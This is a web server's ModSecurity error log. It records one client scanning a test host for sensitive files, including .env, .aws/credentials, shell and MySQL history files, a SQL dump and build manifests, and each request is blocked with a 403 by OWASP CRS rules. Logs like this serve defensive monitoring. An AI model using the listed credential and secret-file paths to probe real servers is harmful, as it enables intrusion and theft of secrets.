[Tue May 27 03:55:10.365429 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukeQAAABA&quot;]
[Tue May 27 03:55:10.365614 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukeQAAABA&quot;]
[Tue May 27 03:55:10.529167 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukgAAAABA&quot;]
[Tue May 27 03:55:10.529384 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukgAAAABA&quot;]
[Tue May 27 03:55:10.529543 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukgAAAABA&quot;]
[Tue May 27 03:55:10.575083 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukggAAABA&quot;]
[Tue May 27 03:55:10.575298 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukggAAABA&quot;]
[Tue May 27 03:55:10.575470 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukggAAABA&quot;]
[Tue May 27 03:55:10.597994 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/package-lock.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package-lock.json found within REQUEST_FILENAME: /package-lock.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukgwAAABA&quot;]
[Tue May 27 03:55:10.598216 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukgwAAABA&quot;]
[Tue May 27 03:55:10.598403 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukgwAAABA&quot;]
[Tue May 27 03:55:10.620764 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/yarn.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /yarn.lock found within REQUEST_FILENAME: /yarn.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukhAAAABA&quot;]
[Tue May 27 03:55:10.620986 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukhAAAABA&quot;]
[Tue May 27 03:55:10.621150 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukhAAAABA&quot;]
[Tue May 27 03:55:10.690085 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukhwAAABA&quot;]
[Tue May 27 03:55:10.690319 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukhwAAABA&quot;]
[Tue May 27 03:55:10.690467 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukhwAAABA&quot;]
[Tue May 27 03:55:10.759563 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukigAAABA&quot;]
[Tue May 27 03:55:10.759778 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukigAAABA&quot;]
[Tue May 27 03:55:10.759936 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukigAAABA&quot;]
[Tue May 27 03:55:10.782202 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.bash_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukiwAAABA&quot;]
[Tue May 27 03:55:10.782419 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukiwAAABA&quot;]
[Tue May 27 03:55:10.782573 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukiwAAABA&quot;]
[Tue May 27 03:55:10.805332 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.zsh_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .zsh_history found within REQUEST_FILENAME: /.zsh_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjAAAABA&quot;]
[Tue May 27 03:55:10.805533 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjAAAABA&quot;]
[Tue May 27 03:55:10.805681 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjAAAABA&quot;]
[Tue May 27 03:55:10.916755 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.mysql_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .mysql_history found within REQUEST_FILENAME: /.mysql_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjQAAABA&quot;]
[Tue May 27 03:55:10.917001 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjQAAABA&quot;]
[Tue May 27 03:55:10.917184 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjQAAABA&quot;]
[Tue May 27 03:55:10.965331 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjwAAABA&quot;]
[Tue May 27 03:55:10.965560 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjwAAABA&quot;]
[Tue May 27 03:55:10.965723 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukjwAAABA&quot;]
[Tue May 27 03:55:10.988132 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukkAAAABA&quot;]
